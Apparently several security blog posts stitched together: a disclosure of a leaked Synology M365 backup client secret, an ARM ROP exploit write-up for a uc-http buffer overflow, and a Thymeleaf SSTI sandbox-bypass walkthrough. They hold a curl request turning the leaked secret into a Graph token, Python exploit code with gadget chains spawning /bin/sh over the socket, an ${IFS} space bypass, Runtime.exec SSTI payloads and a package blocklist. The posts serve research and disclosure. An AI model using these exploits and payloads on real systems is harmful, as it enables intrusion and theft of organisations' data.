After ABM is installed and consented to within the tenant, an OAuth authorization code flow login through the application is performed. This lets third-party applications authorize the logged-in user against the configured APIs via an authorization code issued by Microsoft. This code is then relayed to the ABM add-on on the respective NAS instance where the setup was initiated from.

Now, you might still be wondering how it is determined as to where exactly the authorization details should be returned to in the first place. As noted earlier, the setup process involves a middleware component that acts as a broker between Microsoft and the NAS instance. When the OAuth flow is initiated, the location of the NAS (DNS hostname) is included as part of the redirect URL. After successful authentication, Microsoft forwards the user to the aforementioned Synology middleware service (a web application at synooauth.synology.com), which uses the URL to facilitate the hand off to the NAS instance.

Data Access

After receiving the authorization details, the ABM add-on exchanges it for access tokens at the respective user’s tenant. This allows the user to complete the setup procedure as per documentation, by following up with registering a dedicated app registration within the organization on behalf of the authenticated user. Subsequently the actual backup tasks are performed through this access.

The Vulnerability

With these technical concepts in mind, we can get to the actual vulnerability. The flaw itself is surprisingly trivial, and specifically involves the granted application permissions of ABM and the Synology middleware component (SynoOauth) utilized during the setup process.

In our analysis of ABM we examined our browser’s network traffic during the setup, and noticed something peculiar in the HTTP response of the redirect from the middleware component to our NAS instance:

1
2
3
4
5
6

HTTP/2 302 Found
Location: [...]/activebackupoffice365-cgi.cgi?action=oauth
          &graph_refresh_token=1.Aa4ABLPUicJgkEm4oYYv[...]
          &resource=https%3A%2F%2Fgraph.microsoft.com
          &client_id=b4f234da-3a1a-4f4d-a058-23ed08928904
          &client_secret=ARI8Q%7EsHOuwMoX.[...]

Did you spot it? The response includes several parameters within the Location header, one of which is a value for client_secret. But we logged in to ABM through a user account of our Microsoft tenant using OAuth code flow, why would there be a secret credential for an application?

We initially assumed that we might have overlooked a network request — which would register an application with client credentials within our tenant — but we were surprised that this was not the case. Remember, the full installation procedure does in fact mandate creating an app registration within the user’s tenant, but this is not initiated until the flow reaches the NAS instance to complete the setup.

When we verified that there was no such application created within our lab tenant, an uneasy feeling came over us that the exposed secret might belong to something else…

Discovery

To test whether the credential was actually valid at all, we sent the following HTTP request to obtain an access token for the ABM service principal from our tenant’s OAuth endpoint:

1
2
3
4
5

curl -X POST https://login.microsoftonline.com/<TENANT_ID>/oauth2/v2.0/token \
     -d "grant_type=client_credentials" \
     -d "client_id=b4f234da-3a1a-4f4d-a058-23ed08928904" \
     -d "client_secret=ARI8Q%7EsHOuwMoX.[...]" \
     -d "scope=https://graph.microsoft.com/.default"

And… we were surprised that it worked:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

{
    "aud": "https://graph.microsoft.com",
    "iss": "https://sts.windows.net/<TENANT_ID>/",
    [...]
    "app_displayname": "Synology Active Backup for M365",
    "appid": "b4f234da-3a1a-4f4d-a058-23ed08928904",
    [...]
    "idtyp": "app",
    [...]
    "roles": [
        "Group.Read.All",
        "ChannelMessage.Read.All"
    ],
    [...]
}

Impact

So, what does this mean? Remember that we went through the concept of multi-tenancy and permissions earlier, and that by default, ABM requests tenant-wide application permissions to access all Teams channel conversations and group data.

Well what if the secret is not actually a credential for a service principal in our tenant but that of the app registration in Synology’s tenant? To verify this, we also tried the credentials with the tenant of our customer during the red-team engagement (to which we had only guest-level access up until that point), which shockingly worked just the same.

And indeed, it turns out that the credential belonged to Synology’s ABM global app registration in their Microsoft tenant. What’s even worse is that this means that their middleware service had been inadvertently exposing this credential during every setup.

As previously mentioned, the add-on had been installed over a million times, meaning that we had discovered a serious backdoor into a lot of organization’s Microsoft tenants and their cloud data through the Synology published application. This ultimately allowed broad read-only access to:

• List and read all groups and their properties, including memberships and their Microsoft 365 content such as Outlook conversations, calendar and events, etc.
• List and read all public and private Teams channel messages (not group chats), including replies and embedded content such as images or cards

One could also imagine scenarios where malicious actors exploit such access for industrial espionage, ransomware preparation, or selling sensitive data on underground forums.

Crucially, exploitation requires no prior foothold in any target’s Microsoft tenant, as simply observing the leaked secret from the SynoOauth middleware once is sufficient. Thus, for an unknown period of time, anyone could have obtained this secret to compromise organizations that use ABM.

Sidenote: What’s even more confusing is that the secret is never actually used within the setup, whether in the tenant nor add-on in DSM.

The Cloud

Before we dissect the disclosure process, it is worth pausing to reflect on what this tells us about cloud-based services.

Cloud providers and managed solutions promise advantages like easier server hosting and running certain services, yet this convenience often substitutes the complexity of operating with that of configuring (i.e. securing) everything correctly. This complexity increases with the number of components that you integrate, which inherently expands your attack surface. Supply-chain issues, like the one discussed in this blog post, are a textbook example of how this is becoming increasingly prevalent. For that reason, it is important to ensure that you do your best in all aspects over which you still have control; such as implementing appropriate logging, monitoring, and detection capabilities across the organization, as well as realizing the shared-responsibility model.

Managed cloud services differ substantially from traditional, self-hosted solutions, primarily because vulnerability disclosure is often opaque or absent. Since the vendor is responsible for fixing any issues, users often remain unaware of vulnerabilities that may exist or have existed. This might seem desirable from a customer point of view, but it feeds into a bigger issue. When vendors silently update, their users will never learn that they were vulnerable in the first place, as they did not (have to) disclose that. Additionally, there would be no way to properly evaluate the vendor’s security posture, i.e. by how many vulnerabilities there have been in the past, especially concerning how long it took to fix them. This typically means that no CVE is assigned specifically in cases of cloud vulnerabilities.

Recognizing this, industry leaders such as Microsoft have started advocating for greater transparency by calling upon providers to disclose vulnerabilities even in fully managed cloud-based scenarios. We share this sentiment and have explicitly requested Synology (an authorized CNA) to assign a CVE during our disclosure. Synology seemingly concurred and assigned CVE-2025-4679 for the vulnerability. We want to highly commend them at that point, but the subsequent disclosure process is unfortunately where the good part ends…

Disclosure

Following our standard vulnerability disclosure process and policy, we reported our finding to Synology on April 4th 2025, while also explicitly requesting CVE assignment. They acknowledged and confirmed the vulnerability and informed us that CVE-2025-3695 (note: a different one at first) had been reserved, while also working on a fix. However, from here on the communication mainly involved discussions about the discrepancies in the assessment of severity and scope.

In a follow up email, Synology had determined the details of the CVE and stated that they had come up with a CVSS score of 6.5 (severity "Moderate"), a big step down from our proposed 8.6 (severity "High"). The main difference in their calculation being the metrics “privileges required” (PR) from None to Low, and the “scope” (S) from Changed to Unchanged. We explained that these changes did not reflect our assessment of the issue, which made us question whether the vulnerability was understood correctly by Synology in the first place. This doubt was further raised by the bug bounty amount they wanted to “reward” us, as they initially assumed that our report was submitted as part of their Security Bug Bounty Program. However, since we generally deny accepting the restrictive nature of bug bounty conditions (i.e. restriction of publication), we clarified that we submitted following industry practice responsible disclosure, and declined their offer of ~$417 for the report.

We further emphasized that it is trivial to obtain the secret, as an attacker does not require any “special” privileges for neither Synology’s middleware component nor any target’s Microsoft tenant. This circumstance clearly demonstrates the “Scope: Changed” metric, as the exploited vulnerability affects data within entirely different security boundaries — namely all organizations’ Microsoft tenants, not just Synology’s own systems.

Despite our attempts at clarification, Synology would not consider our arguments further. Later it came to our surprise that they maintained their own assessment, as they published the advisory without informing us. In our opinion, apart from severely lowering the impact rating, they opted to be vague in the abstract of the vulnerability:

This description omits all the interesting details, such as which and how “sensitive information” could have been accessed. It also makes it sound like the requirement for an attacker to authenticate somewhere would constitute a security boundary. In reality, malicious actors could trivially compromise all users of ABM by leveraging the publicly exposed credential.

To our knowledge, Synology also has yet to inform impacted users of this attack vector having potentially been exploited. Apart from publishing the advisory which states that customer action is not required, we believe that a more informative notice i.e. containing Indicators of Compromise (IoC) would have been more appropriate. Therefore, we independently provide a few of those in this post further below.

Conclusion

At the risk of sounding preachy: the real lesson is that the convenience of cloud does not absolve anyone of doing their security diligence. In today’s shifting threat landscape, organizations invite attacks simply through the complexity of everything. The fact that third-party vendors, such as Synology, have this kind of access to an organization’s data at any given time should already send shivers down your spine. A simple 40-character string leaked by a vendor you entrusted to use can be all it takes for your precious data to be compromised and sold on the dark web. If your data is so important that it merits backups, you must accept that the very risks and responsibilities you hoped to delegate will ultimately end up back with you. Therefore, you should implement the appropriate measures before that day comes.

Takeaways

A few concrete learnings for the different stakeholders:

Organizations

• Regularly audit third-party provider permissions and access
• Implement logging and monitoring for capabilities to detect unauthorized access
• Realize your due diligence responsibilities within the shared responsibility model

Researchers

• Follow your intuition when doing security research
• Identify assumed security boundaries to understand broader implications
• Advocate for transparency of cloud vulnerabilities for more awareness and as potential learning material

Vendors

• Apply and validate adherence to the principle of least privilege
• Transparently disclose vulnerabilities and notify/support impacted users appropriately
• Recognize that your services may have substantial impact due to being high value targets within cloud-based supply chain attacks

Indicators of Compromise

Note: It is unknown why IPs from AS3462 are singning in to the ABM service principals. They are likely performed by Synology.

Disclosure Timeline

Further Reading

• “Understanding Microsoft Entra ID App Registrations, Enterprise Apps and Service Principals” (heusser.de)
• “Foreign Entra Workload Identities: A Security Boundary Risk?” (scip AG)
• “UnOAuthorized: Privilege Elevation Through Microsoft Applications” (sempheris)

The original plan was to target CVE-2018-10088¹, a buffer overflow vulnerability for which an existing exploit² only crashes the server but does not gain RCE. But as with most of these journeys, there’s rarely a straight path, and more often than not, adaptation is key. So along the way, I discovered new paths, learned about the ARM architecture, and built a ROP chain that was delivered via a web request and reused the same connection as a shell. Who needs a reverse shell anyway? But let’s start at the beginning of the story.

Analysis

Before anything can be exploited we need an understanding of the vulnerability. So, first and foremost, I needed to obtain either the source code or a compiled binary of uc-http. Unsurprisingly, this software is not open source. But much to my convenience there is CVE-2017-7577³, a very trivial path traversal vulnerability, which allows to download arbitrary files from an affected uc-http server. Via /proc/self/exe the currently running executable - usually the file is called Sofia - can be downloaded for analysis.

I went ahead with the usual inspection of the target binary utilizing file and checksec⁴. As we can see below it’s an ARM 32bit dynamically linked executable.

1
2

$ file Sofia
Sofia: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped

1
2
3

$ checksec --file=Sofia
RELRO           STACK CANARY      NX            PIE
No RELRO        No canary found   NX disabled   No PIE 

There is no Relocation Read-Only (RELRO), meaning the Global Offset Table (GOT) is writable, no stack canary to detect stack overflows, and no-execute (NX) is disabled, allowing execution of shellcode on the stack. Also, since it isn’t a position-independent executable (PIE), the binary is always loaded at a fixed address.

I fired up Ghidra to decompile the binary and explore its inner workings. By cross-referencing the log output of the binary, when triggering the existing exploit, with strings found in the binary, I was able to pinpoint a function that appeared to act as an HTTP dispatcher (more on the exact debugging environment later).

In this function CVE-2018-10088¹ was fairly simple to spot. The usual suspect strcpy was used to copy username and password parameters from an http request’s body into some data segments.

1
2
3
4

substring = strtok((char *)0x0,"&");
strcpy(&DATA_USERNAME,substring + 9);
substring = strtok((char *)0x0,"&");
strcpy(&DATA_PASSWORD,substring + 9)

By inspecting said data segments I found that these buffers have a length of 20 bytes each. Therefore usernames and passwords that exceed a length of 20 characters cause the respective buffers to overflow. I also found that these buffers are located within the binary’s .bss data segment which is certainly not ideal for hijacking the program’s execution. I noticed though, that there are some function pointers further down in that segment that could be overwritten using this overflow which, in theory, could allow redirecting execution.

However, after skimming through the rest of the dispatcher function I found another vulnerability (CVE-2022-45460 as I found out much later) which seemed much more promising for what I had in mind. Let’s have a look at it.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

iVar1 = strcmp((char *)__s1,".lang");
if (iVar1 == 0) {
    sprintf(filepath,"%s/%s","/mnt/custom",&DAT_FILEPATH);
}
else {
    substring = strstr((char *)uri,"mns.cab");
    if (substring == (char *)0x0) {
        strstr((char *)uri,"logo/");
	sprintf(filepath,"%s/%s");
    }
    else {
        sprintf(filepath,"%s/%s","/usr/mobile",uri);
    }
}
iVar1 = stat(filepath,&stat_struct);
if (iVar1 != 0) {
    if ((filepath[0] != '\0') && (iVar1 = atoi(filepath), 0 < iVar1)) {
        DAT_006e9324 = iVar1;
        sprintf((char *)&uStack_68,".%s","/index.htm");
        FUN_003376cc(socket_stream,&uStack_68,0);
        return 0;
    }
    write_response_header(socket_stream,0x68);
    fwrite("<html><head><title>404 File Not Found</title></head>\n",1,0x35,socket_stream);
    fwrite("<body>The requested URL was not found on this server</body></html>\n",1,0x43,socket_stream);
    return 0;
}

The excerpt shows that URIs and file paths are concatenated using sprintf, once again without any bounds checking. Particularly interesting is the branch where the user-controlled URI is concatenated with the string /usr/mobile. In this case the overflow happens on a stack variable I called filepath. Overflows on the stack are powerful because typically function return addresses are stored on the stack, making it possible to overwrite them during an overflow and redirect the program’s execution. And since there are no stack canaries in place to hinder exploitation, this should be relatively straightforward to exploit.

Debugging Setup

Before diving into experiments with the vulnerability, I wanted to set up a dedicated testing environment for debugging. My goal with this was to avoid relying on any hardware device. Without the use of any existing exploit I also didn’t have access to the device to deploy a debugger.

So I began with dumping the filesystem using the path traversal vulnerability³ as mentioned before. I then experimented with chroot and QEMU’s ARM System emulator⁵ to have a purely virtualized environment. This worked quite well for a while but eventually exhibited seemingly weird behavior particularly in terms of memory addressing.

I still had a Raspberry Pi lying around, so I figured I’d give that one a try. I copied the gathered rootfs to the Pi and grabbed static gdbserver⁶ and bash (required by gdb) binaries. I then started up gdbserver inside the chroot on the Pi.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

$ sudo mount --bind /proc/ rootfs/proc
mount: (hint) your fstab has been modified, but systemd still uses
       the old version; use 'systemctl daemon-reload' to reload.
pwn@raspberrypi:~ $ sudo chroot rootfs/ sh
# ls
bin        dev        gdbserver  linuxrc    proc       tmp        utils
boot       etc        lib        mnt        sbin       usr        var
# ./gdbserver :8888 Sofia
Process Sofia created; pid = 911
Listening on port 8888
Remote debugging from host 192.168.2.1, port 64996

Then I connected to it from my machine using gdb-multiarch.

1
2
3
4
5

$ gdb-multiarch
GNU gdb (Debian 15.2-1+b1) 15.2
Copyright (C) 2024 Free Software Foundation, Inc.
(...)
gef➤ gef-remote 192.168.2.2 8888

So the final setup looked roughly like this^{7 8}:

This setup allowed to use GEF⁹ on the attacker’s machine to set breakpoints and debug the target on the Pi remotely. Perfect.

Triggering the Vulnerability

With the described setup in place a first attempt could be made to trigger the identified vulnerability. This process was no different than with any pwn binary exploitation challenge of this type. To take control of execution, we first need to determine where our input overwrites a specific offset on the stack that eventually gets popped into the program counter (PC). By sending a unique pattern and observing which bytes end up in the PC when the program crashes, we can pinpoint the exact offset. The only thing to keep in mind was to always end the URI with .mns.cab to ensure the correct code path was being hit.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

import sys
import socket

payload = b""
payload += 304 * b"A" + b"BBBB"

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
    sock.connect((sys.argv[1], int(sys.argv[2])))
    sock.send(b"GET /" + payload + b".mns.cab HTTP/1.1")
    sock.send(b"\r\n\r\n")

    print(sock.recv(1024))

To observe what was happening server-side, I placed a breakpoint at the return statement following the vulnerable section, right after the second call to fwrite. As shown below, registers r4 to r10 are popped from the stack, followed by PC. With the Python script above, these registers were filled with the character A, while PC was set to BBBB, marking the entry point for the control flow hijacking.

Building the Exploit

At this point there are a few things to mention. Although NX was disabled, meaning there should have been an executable stack, I wasn’t really sure about this. Within my Raspberry Pi setup the stack was always marked as rw as opposed to rwx. Attempts of executing shellcode from the stack failed. I therefore (incorrectly) assumed that this would be the same on a real device. I didn’t spend much more thought about it and continued with the plan to build a ROP chain instead.

A ROP (Return-Oriented Programming) chain is a technique used in exploitation where an attacker leverages small code snippets, or gadgets, already present in a program’s memory. By chaining these gadgets together, they can execute arbitrary code without injecting anything new.

Also, although PIE was disabled for the Sofia binary itself, the included libraries had PIE enabled and I was therefore also assuming that ASLR was enabled. When building a ROP chain this means that an ASLR bypass is needed in order to use gadgets from included libraries such as libc.

Another important thing to keep in mind is that, since we’re using sprintf for the overflow, the payload cannot contain null bytes, or it will be truncated. Additionally, after inspecting the decompiled section further, I found that spaces are stripped as well.

ASLR Bypass

Because PIE is not enabled on the Sofia binary, it will always be loaded into the same memory region, even if ASLR is enabled. However, since the binary is mapped within a region that only spans the lower 3 bytes of the address space, every address contains a null byte in its most significant byte. This means that, at least for the entry point of the ROP chain, gadgets from the Sofia binary itself can’t be used. I therefore focused on the included libc, but since libc was compiled with PIE, bypassing ASLR became essential.

As you might have guessed, our path traversal vulnerability came to the rescue once again, this time to bypass ASLR. There is really no magic to it other than dumping /proc/self/maps to retrieve the memory mapping of the Sofia process thus allowing to determine base addresses of all included libraries.

ARM Architecture

Since building a ROP chain requires an understanding of the underlying architecture, we first have to cover some very basic concepts about the ARM architecture. If you’re already familiar with this, feel free to skip this part.

ARM is a RISC architecture, meaning it uses a smaller set of simple instructions compared to complex ones like x86. It’s widely used in mobile devices and embedded systems.

A unique aspect of ARM is the Thumb instruction set. Thumb is a subset of the most commonly used 32-bit ARM instructions, with each instruction being just 16 bits long. These instructions have the same effect as their 32-bit counterparts but allow for more compact, efficient code. ARM processors can switch between ARM and Thumb modes during execution¹⁰.

For ROP chains, ARM’s calling convention¹¹ is particularly important, as it dictates how function arguments are passed and how control flow is managed. ARM has 16 general-purpose registers, from R0 to R15. Registers R0-R3 are used for passing the first four function arguments, and if a function has more than four arguments, the rest are placed on the stack. R4-R11 are used for storing local variables within a function. Return values from functions are stored in R0-R3.

When it comes to jumps in ARM, there are four main types: B, BL, BX, and BLX. These instructions control program flow and differ in their ability to save the return address or switch between ARM and Thumb modes. The table below summarizes their properties¹²:

When the return address is saved, it means that the address of the next instruction after the branch is stored in the Link Register (LR). This allows the program to return to this point after the branch or function call is complete. As we will see later, this is reflected in function prologues and epilogues. In a function’s prologue, the LR register is typically pushed to the stack to preserve the return address, and in the epilogue, it is popped back into PC to ensure the program jumps back to the calling function.

Hunting for Gadgets

Let’s talk about building the ROP chain. At the end of the day, this process is all about finding useful gadgets that work together to achieve a specific goal. For my first attempt, I set out to build a chain that executes system("/bin/sh").

For this to work I needed gadgets that would move the stack pointer into R0 (since R0 is where the first argument is passed) and then jump to the system function contained in the loaded libc. This way, I could use the stack to place the command I wanted to execute.

To find these gadgets, the widely used tool Ropper¹³ is very handy. It’s designed for identifying and extracting ROP gadgets from binaries.

After searching for a while I came up with the following solution:

1
2
3

0x000175cc: pop {r3, pc}
0x000535e8: system
0x000368dc: mov r0, sp; blx r3

The first gadget sets R3 to a controlled value and jumps to the next address. The second gadget (mov r0, sp; blx r3) moves the stack pointer into R0 (the first argument for system) and branches to R3, which we previously set to the address of system.

Function addresses, such as the one for system, can be determined using readelf -s. However, it’s important to remember that we’ll need to add the base address of the respective binary or library to the offsets you see in the output. This ensures we’re working with the correct addresses when constructing the ROP chain.

1
2
3
4

$ readelf -s libc.so.0 | grep system
   659: 0003dfc0    80 FUNC    GLOBAL DEFAULT    7 svcerr_systemerr
   853: 000535e8   116 FUNC    WEAK   DEFAULT    7 system
   864: 000535e8   116 FUNC    GLOBAL DEFAULT    7 __libc_system

As we learned earlier, the payload cannot contain any spaces. However, I found that this can easily be bypassed using the well-known ${IFS} tactic¹⁴.

Putting everything together I came up with an exploit roughly looking like the following (full source available here):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

def main():
    maps = fetch_maps()
    libc, libc_base = parse_maps(maps)

    payload = b""
    payload += 304 * b"A"
    payload += pack("<I", libc_base + GADGETS[libc][0]) # pop {r3, pc}
    payload += pack("<I", libc_base + GADGETS[libc][1]) # system
    payload += pack("<I", libc_base + GADGETS[libc][2]) # mov r0, sp; blx r3

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
        sock.connect((HOST, PORT))
        sock.send(b"GET /" + payload + CMD.replace(b" ", b"${IFS}") + b";.mns.cab HTTP/1.1")
        sock.send(b"\r\n\r\n")
    
        print(sock.recv(1024))

Since /bin/sh as a command wasn’t very useful without a way to interact with it remotely, I used telnetd to start a local telnet server on port 1337. This allowed me to connect and get a shell.

Yay, RCE! But ever since analyzing the decompiled dispatcher function, another possible solution had been stuck in my mind. I kept wondering if it was actually possible. Time to find out - off to Part 2.

Part 2 - Taking it a Step Further

Let’s rewind a bit and recall the code section where control flow is transferred to our choosing because of the buffer overflow. We can see that shortly before the return statement there are two fwrite calls writing the response to the socket_stream of the connection to the client which sent the original request.

This led me to the following two assumptions:

• The connection isn’t closed yet when the ROP chain is triggered
• A reference to socket_stream is very likely still lying around in one of the registers

1
2
3
4
5

    write_response_header(socket_stream,0x68);
    fwrite("<html><head><title>404 File Not Found</title></head>\n",1,0x35,socket_stream);
    fwrite("<body>The requested URL was not found on this server</body></html>\n",1,0x43,socket_stream);
    return 0;
}

This reminded me of CTF challenges where the vulnerable binary is exposed over a socket, often using socat. In these cases, a common approach when crafting shellcode to achieve RCE is the following¹⁵:

1
2
3
4
5
6

fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); // create socket
connect(fd, (struct sockaddr *) &serv_addr, 16); // connect
dup2(fd, 0); // dup socket and STDIN
dup2(fd, 1); // dup socket and STDOUT
dup2(fd, 2); // dup socket and STDERR
execve("/bin/sh", 0, 0); // execute /bin/sh

The socket() function creates a new socket using the specified domain, type, and protocol. connect() then establishes a connection to the target address. Once connected, dup2() is used three times to redirect the socket file descriptor to standard input (STDIN), standard output (STDOUT), and standard error (STDERR), effectively binding the shell’s I/O to the socket. Finally, execve() executes /bin/sh, spawning a shell that communicates over the established connection.

In the situation as described above, I was already half way done with this strategy. I already had a socket/connection so anything left to do were the dup2 calls and the call to system, right? This would allow me to reuse the connection already established as a shell.

Since I had a FILE *stream but needed an integer file descriptor for dup2, an extra step was required though - a call to fileno() to retrieve the corresponding file descriptor. So this made the plan look roughly like the following.

1
2
3
4
5

fd = fileno(stream)
dup2(fd, 0)
dup2(fd, 1)
dup2(fd, 2)
system("/bin/sh")

However, before jumping into building the ROP chain, I wanted to verify the assumptions I had made earlier. To do this, I set a breakpoint before the second fwrite call and another at the return statement. When hitting the first breakpoint, a reference to socket_stream should be in R3 (the 4th argument of fwrite).

At the second breakpoint, we can see that the same value is still in R3, which confirms that we indeed have a reference to socket_stream available when the ROP chain is triggered.

During this process, I also noticed that the curl command I had issued to trigger the breakpoints hadn’t returned while the program was stopped. This meant that the connection was still open. Great news, the assumptions seemed to hold.

Next step, ROP chain. I continued with searching for gadgets that would move arguments into the correct registers and call the functions as outlined before. I assumed that every function called would return using pop {pc} and therefore I wouldn’t need to worry about the chaining of gadgets and function calls. I was wrong, at least partly.

While the pop {pc} assumption was true I still couldn’t simply chain the calls. Why? Because I forgot about function prologues. As we can see below in the function prologue of fileno for example the registers R4-R8 are pushed to the stack. This makes sure the registers can be restored upon function return (callee-save registers). But we can also see that the Link Register (LR) is pushed to the stack as well.

With the knowledge of the different jump instructions discussed earlier, this also makes perfect sense. Functions are called using the bl instruction, which sets LR to the address of the instruction immediately following the jump. This ensures that upon exit of a function we’re returning back to the correct location.

However, for my pursuit of building a ROP chain, this sounded like bad news because I didn’t really have control over the LR register. I continued searching for gadgets that would allow me to set LR before jumping to a function. Even though the solution might seem obvious to you, it took me a good night’s sleep to finally realize that we could simply skip the prologue. This way I wouldn’t have to worry about the value in LR at all. So I simply added +0x4 to every function symbol. Problem solved.

The only requirement was to add some padding onto the stack to account for the function epilogue. In the case of fileno, this meant 5 x 8 bytes in total. This turned out to be quite useful, as it allowed me to set these registers to arbitrary values.

I continued to piece things together. As outlined I started with a call to fileno.

1
2
3
4

p = b""
p += p32(libc_base + 0xf964) # mov r0, r3; pop {r4, pc}
p += b"XXXX" # r4 padding
p += p32(libc_base + 0x3102c + 0x4) # fileno

The first gadget moves the socket reference socket_stream into R0 to ensure it is passed as an argument to fileno. After the call some padding is added to properly deal with the function epilogue. The ldmia construct can be regarded as equivalent to the pop we have seen earlier. Register R5 will be used later, so I’m storing the address of dup2 there in advance.

1
2
3
4
5
6

# fileno epilogue: ldmia sp!,{r4,r5,r6,r7,r8,pc}
p += b"XXXX" # r4 padding
p += p32(libc_base + 0xce5c + 0x4) # r5 -> dup2
p += b"XXXX" # r6 padding
p += b"XXXX" # r7 padding
p += b"XXXX" # r8 padding

Next up are the calls to dup2. For this to work the function needs to be called three times for STDIN, STDOUT and STDERR. For all three calls, R0 should always be set to the file descriptor retrieved through fileno, while R1 starts with 0, then 1, and finally 2. The first call comes for free because R1 is set to 0 already.

1
2
3

p += p32(libc_base + 0xce5c + 0x4) # dup2, r1 = 0
# dup2 epilogue: ldmia sp!,{r7,pc}
p += b"XXXX" # r7 padding

For the second call, I found a gadget that moves 1 into R1 before jumping to the address stored in R5, where I already have dup2.

1
2
3

p += p32(libc_base + 0x1cdcc) # mov r1, #1; mov r2, r6; blx r5
# dup2 epilogue: ldmia sp!,{r7,pc}
p += b"XXXX" # r7

Unfortunately, I couldn’t find a feasible gadget for the third call. So, this is left as an exercise for the reader. :)

Now, all that was left to do was reuse the chain from the first simple exploit to spawn a shell.

1
2
3

p += p32(libc_base + 0x175cc) # pop {r3, pc};
p += p32(libc_base + 0x535e8) # system
p += p32(libc_base + 0x368dc) # mov r0, sp; blx r3

With that, it was finally time to test things out.

Success! A far more elegant solution than the first attempt. No need to start a telnetd server or establish a reverse shell!

The final exploit source code can be found here.

Wrapping up

As already hinted along the way, I only discovered after developing the exploit that the vulnerability discussed here had already been identified and tracked as CVE-2022-45460¹⁶. There had also already been an exploit¹⁷ out there that uses shellcode on the stack to achieve RCE. Clearly, my initial research on the product wasn’t as thorough as it should have been. Nonetheless, I had lots of fun exploring alternative ways of exploiting the vulnerability and learned a great deal in the process. Given the existence of a public exploit, we felt comfortable releasing my full exploit, even though we would typically refrain from doing so in other circumstances.

Identifying the Bug

Let’s dive right into the bug. During a whitebox pentest, we noticed an interesting reflection of the user’s Referer header in one of the templates, which immediately screamed SSTI to us. The application was written in Java and used Spring Boot 3.3.4. Under the hood, Spring Boot uses the Thymeleaf templating engine. The source code snippet in question looked like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

<!doctype html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>SSTI DEMO</title>
  </head>
  <body>
    <h1 th:text="@{'/login?redirectAfterLogin=__${Referer}__'}"></h1>
  </body>
</html>

This appeared to be a classic case of double evaluation, where the expression between double underscores is preprocessed, and the result is then used as part of the template. This pattern is very similar to a well-known @{__${path}__} vulnerability. The key difference here was the use of single quotes, which seemed to encase the referrer and made us question if it was an exploitable case.

Interestingly, when we began dynamically testing the endpoint by injecting a single quote in hopes of breaking out of the initial context and inject a simple template expression like ${7*7}, the quote got reflected with HTML encoding and initially appeared unexploitable, as shown in the image below. This was most likely why the issue had gone undetected for so long.

But there was an interesting detail: even though we injected a single quote, the reflection contained two HTML encoded single quotes. Enjoying a challenge in our pentests, we decided to dive deeper into this. We set up our own application to reproduce the behavior of the original application for some local debugging.

And as it turns out the issue is in fact exploitable. In the screenshot below, we can see that the preprocessed value is inserted as a literal into the subsequent template evaluation without any kind of encoding. Most likely, the parser tries to fix the broken syntax and comes up with the result from before.

This makes the flaw exploitable, and we can easily verify this by sending a request such as the following:

We can see in the output of the application that we successfully evaluated our payload and got a 49 in the response. Now, let’s exploit this issue to accomplish our sweet RCE!

Facing Problems

Most often exploiting SSTI flaws in Java are as easy as ${T(java.lang.Runtime).getRuntime().exec('calc')}. Let’s break this payload down:

1. T(java.lang.Runtime): This accesses the java.lang.Runtime class
2. getRuntime(): This method returns the runtime object associated with the current Java application
3. exec('calc'): This method executes our payload

When we tried this payload on our target, the results were underwhelming… Just a 500 error!

Inspecting the debug log we see the following error:

1
2

org.thymeleaf.exceptions.TemplateProcessingException:
Instantiation of new objects and access to static classes or parameters is forbidden in this context

The reason for this are the defenses that were built into Thymeleaf in recent versions. As is the case most often, someone else already identified these defenses and tried to circumvent them, which you can read up on in an excellent blog post done by Noventiq. We recommend you read it to understand some of the defenses that Thyemelaf employs.

Naturally we tested the provided payloads, but they are mitigated by now. So it was time to get our hands dirty and find a novel bypass.

Bypassing the Defenses

To sum this up, we have two different parts for the exploit we need. First, we need a reference to the java.lang.Runtime class. Second, we need a way to run a method on it.

Let’s start by getting hold of arbitrary classes. One method to get access to the class of an object is to access it like a.getClass() if a was an object. This luckily works quite well. We can instantiate an object of class String by using "". If we append .class, we can get the Class object associated with the String class.

Each class in Java has the forName function, which allows us to get the class object associated with the class or interface with the given string name. Using it, we can pass the string of the class we want to get. This allows us to access java.lang.Runtime (or any other class, for that matter).

Unfortunately this is not enough. When we try to run getRuntime() we will get a new error:

1

 Calling method 'getRuntime' is forbidden for type 'class java.lang.Class' in this expression context.

We most likely can bypass this similarly to the blog post from Noventiq by using reflection. Reflection in Java is a feature that allows a program to inspect and manipulate the properties and behavior of objects at runtime. It enables access to classes, methods, and fields dynamically, even if they are private. They are using the class org.springframework.util.ReflectionUtils for this. But this is no longer possible as the class now made it to the denylist of packages and cannot be loaded to run arbitrary functions:

1
2
3

private static final Set<String> BLOCKED_ALL_PURPOSES_PACKAGE_NAME_PREFIXES = new HashSet(Arrays.asList("java.", "javax.", "jakarta.", "jdk.", "org.ietf.jgss.", "org.omg.", "org.w3c.dom.", "org.xml.sax.", "com.sun.", "sun."));
private static final Set<String> ALLOWED_ALL_PURPOSES_PACKAGE_NAME_PREFIXES = new HashSet(Arrays.asList("java.time."));
private static final Set<String> BLOCKED_TYPE_REFERENCE_PACKAGE_NAME_PREFIXES = new HashSet(Arrays.asList("com.squareup.javapoet.", "net.bytebuddy.", "net.sf.cglib.", "javassist.", "javax0.geci.", "org.apache.bcel.", "org.aspectj.", "org.javassist.", "org.mockito.", "org.objectweb.asm.", "org.objenesis.", "org.springframework.aot.", "org.springframework.asm.", "org.springframework.cglib.", "org.springframework.javapoet.", "org.springframework.objenesis.", "org.springframework.web.", "org.springframework.webflow.", "org.springframework.context.", "org.springframework.beans.", "org.springframework.aspects.", "org.springframework.aop.", "org.springframework.expression.", "org.springframework.util."));

